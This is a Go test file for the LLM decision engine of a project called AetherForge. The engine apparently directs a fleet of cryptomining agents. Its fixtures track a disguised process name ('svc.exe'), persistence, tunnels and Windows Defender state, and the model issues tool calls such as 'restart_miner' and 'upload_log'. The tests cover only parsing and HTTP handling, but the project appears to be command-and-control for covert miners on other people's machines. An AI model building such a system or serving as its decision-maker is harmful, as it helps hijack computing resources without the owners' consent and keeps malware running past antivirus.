AetherForge/server/internal/ollama/engine_test.go

package ollama

import (
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"
	"time"
)

func TestNewEngineDefaults(t *testing.T) {
	e := NewEngine("", "")
	if e.endpoint != "http://localhost:11434" {
		t.Fatalf("endpoint default: %q", e.endpoint)
	}
	if e.model != "llama3.2" {
		t.Fatalf("model default: %q", e.model)
	}
	if e.systemPrompt == "" {
		t.Fatal("system prompt should be populated")
	}
}

func TestNewEngineTrimsTrailingSlash(t *testing.T) {
	e := NewEngine("http://127.0.0.1:11434/", "mistral")
	if e.endpoint != "http://127.0.0.1:11434" {
		t.Fatalf("endpoint trim: %q", e.endpoint)
	}
	if e.model != "mistral" {
		t.Fatalf("model: %q", e.model)
	}
}

func TestAgentStateJSONRoundTrip(t *testing.T) {
	state := AgentState{
		AgentID: "a1", WorkerName: "w", Hostname: "host",
		UptimeSeconds: 100, IsRunning: true, CPUCores: 4,
		CPUUsagePct: 50, MemoryGB: 8, MemoryUsagePct: 40,
		Hashrate15m: 500, SharesTotal: 10, SharesGood: 9, SharesBad: 1,
		ProcessName: "svc.exe", InstallPath: `C:\svc`, HasPersistence: true,
		HasTunnel: false, DefenderState: "enabled", LastError: "none",
	}
	b, err := json.Marshal(state)
	if err != nil {
		t.Fatal(err)
	}
	var out AgentState
	if err := json.Unmarshal(b, &out); err != nil {
		t.Fatal(err)
	}
	if out.AgentID != state.AgentID || out.LastError != state.LastError {
		t.Fatalf("round trip mismatch: %+v", out)
	}
}

func TestToolCallAndDecideResponseJSONRoundTrip(t *testing.T) {
	resp := DecideResponse{
		Reasoning: "restart needed",
		ToolCalls: []ToolCall{
			{Tool: "restart_miner", Args: map[string]string{"process_name": "svc"}, Reason: "down"},
		},
	}
	b, err := json.Marshal(resp)
	if err != nil {
		t.Fatal(err)
	}
	var out DecideResponse
	if err := json.Unmarshal(b, &out); err != nil {
		t.Fatal(err)
	}
	if len(out.ToolCalls) != 1 || out.ToolCalls[0].Tool != "restart_miner" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func TestReportJSONRoundTrip(t *testing.T) {
	ts := time.Date(2026, 5, 30, 0, 0, 0, 0, time.UTC)
	r := Report{AgentID: "a1", Tool: "sleep", Success: true, Output: "ok", Timestamp: ts}
	b, err := json.Marshal(r)
	if err != nil {
		t.Fatal(err)
	}
	var out Report
	if err := json.Unmarshal(b, &out); err != nil {
		t.Fatal(err)
	}
	if !out.Timestamp.Equal(ts) || out.Tool != "sleep" {
		t.Fatalf("unexpected: %+v", out)
	}
}

func mockChatServer(t *testing.T, content string, status int) *httptest.Server {
	t.Helper()
	if status == 0 {
		status = http.StatusOK
	}
	return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		switch r.URL.Path {
		case "/api/chat":
			w.WriteHeader(status)
			if status == http.StatusOK {
				_ = json.NewEncoder(w).Encode(ollamaResponse{
					Message: ollamaMessage{Role: "assistant", Content: content},
					Done:    true,
				})
			}
		case "/api/tags":
			w.WriteHeader(status)
		default:
			http.NotFound(w, r)
		}
	}))
}

func TestDecidePlainJSON(t *testing.T) {
	content := `{"reasoning":"ok","tool_calls":[{"tool":"sleep","args":{"seconds":"5"},"reason":"idle"}]}`
	srv := mockChatServer(t, content, 0)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	state := &AgentState{AgentID: "a1", IsRunning: true}
	resp, err := e.Decide(state)
	if err != nil {
		t.Fatal(err)
	}
	if resp.Reasoning != "ok" || len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
		t.Fatalf("unexpected: %+v", resp)
	}
}

func TestDecideMarkdownJSONBlock(t *testing.T) {
	content := "Here is the plan:\n```json\n{\"reasoning\":\"markdown\",\"tool_calls\":[]}\n```\n"
	srv := mockChatServer(t, content, 0)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	resp, err := e.Decide(&AgentState{AgentID: "a1"})
	if err != nil {
		t.Fatal(err)
	}
	if resp.Reasoning != "markdown" {
		t.Fatalf("expected markdown reasoning, got %q", resp.Reasoning)
	}
}

func TestDecideExtractsEmbeddedJSON(t *testing.T) {
	content := `Analysis complete. {"reasoning":"embedded","tool_calls":[]} End.`
	srv := mockChatServer(t, content, 0)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	resp, err := e.Decide(&AgentState{AgentID: "a1"})
	if err != nil {
		t.Fatal(err)
	}
	if resp.Reasoning != "embedded" {
		t.Fatalf("expected embedded reasoning, got %q", resp.Reasoning)
	}
}

func TestDecideOllamaHTTPError(t *testing.T) {
	srv := mockChatServer(t, "", http.StatusInternalServerError)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	_, err := e.Decide(&AgentState{AgentID: "a1"})
	if err == nil || !strings.Contains(err.Error(), "status 500") {
		t.Fatalf("expected status error, got %v", err)
	}
}

func TestDecideOllamaAPIErrorField(t *testing.T) {
	srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte(`{"error":"model not found","done":true}`))
	}))
	defer srv.Close()

	e := NewEngine(srv.URL, "missing")
	_, err := e.Decide(&AgentState{AgentID: "a1"})
	if err == nil || !strings.Contains(err.Error(), "model not found") {
		t.Fatalf("expected ollama error, got %v", err)
	}
}

func TestDecideInvalidLLMJSON(t *testing.T) {
	srv := mockChatServer(t, "not json at all", 0)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	_, err := e.Decide(&AgentState{AgentID: "a1"})
	if err == nil || !strings.Contains(err.Error(), "parse LLM response") {
		t.Fatalf("expected parse error, got %v", err)
	}
}

func TestHealthCheckSuccess(t *testing.T) {
	srv := mockChatServer(t, "", 0)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	if err := e.HealthCheck(); err != nil {
		t.Fatal(err)
	}
}

func TestHealthCheckFailure(t *testing.T) {
	srv := mockChatServer(t, "", http.StatusServiceUnavailable)
	defer srv.Close()

	e := NewEngine(srv.URL, "test")
	if err := e.HealthCheck(); err == nil {
		t.Fatal("expected health check error")
	}
}

func TestBuildSystemPromptContainsTools(t *testing.T) {
	prompt := buildSystemPrompt()
	for _, tool := range []string{"check_miner", "restart_miner", "upload_log", "85%"} {
		if !strings.Contains(prompt, tool) {
			t.Fatalf("prompt missing %q", tool)
		}
	}
}